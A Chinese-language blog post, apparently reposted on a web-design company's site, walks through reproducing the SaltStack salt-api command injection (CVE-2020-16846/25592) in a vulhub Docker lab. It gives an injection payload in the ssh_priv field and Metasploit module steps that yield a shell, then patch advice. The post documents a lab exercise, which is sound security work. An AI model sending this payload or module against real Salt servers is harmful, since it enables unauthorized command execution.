如何进行SaltStack命令注入漏洞复现

本篇文章给大家分享的是有关如何进行SaltStack命令注入漏洞复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

创新互联网站建设由有经验的网站设计师、开发人员和项目经理组成的专业建站团队,负责网站视觉设计、用户体验优化、交互设计和前端开发等方面的工作,以确保网站外观精美、成都网站建设、成都做网站易于使用并且具有良好的响应性。

0x00简介

SaltStack是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。通过部署SaltStack,我们可以在成千万台服务器上做到批量执行命令,根据不同业务进行配置集中化管理、分发文件、采集服务器数据、操作系统基础及软件包管理等。

0x01漏洞概述

CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。

0x02影响版本

SaltStack 2015/2016/2017/2018/2019/3000/3001/3002

0x03环境搭建

1、本次漏洞手动搭建较为复杂,使用vulhub中的docker环境搭建下载并解压

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

unzip vulhub-master.zip

2、进入漏洞目录使用docker-compose启动漏洞环境,看到绿色done表示启动成功

cd vulhub/saltstack/CVE-2020-16846/

docker-compose up -d

如何进行SaltStack命令注入漏洞复现

3、在浏览器访问https://your-ip:8000这是Salt的API端口。注:需要https访问

如何进行SaltStack命令注入漏洞复现

0x04漏洞复现

1、在url访问以下链接,使用burp进行抓包并发送到重放模块

https://your-ip:8000/run

如何进行SaltStack命令注入漏洞复现

2、将get修改为post传输,构造以下数据包写入文件,点击发送

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b

如何进行SaltStack命令注入漏洞复现

3、返回200ok,进入到docker容器中查看文件成功写入

如何进行SaltStack命令注入漏洞复现

如何进行SaltStack命令注入漏洞复现

4、使用msf中的exp进行漏洞利用,启动msf,选择攻击模块,配置信息,使用run或exploit执行,执行后拿到shell

msfconsole

use exploit/linux/http/saltstack_salt_api_cmd_exec

show options

如何进行SaltStack命令注入漏洞复现

如何进行SaltStack命令注入漏洞复现

0x05修复建议

1、建议在官方下载安装此漏洞补丁,补丁下载地址:

https://gitlab.com/saltstack/open/salt-patches

2、升级至安全版本,下载地址:

https://repo.saltstack.com/

以上就是如何进行SaltStack命令注入漏洞复现,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注创新互联行业资讯频道。


分享名称:如何进行SaltStack命令注入漏洞复现
标题网址:http://hbruida.cn/article/ihsjih.html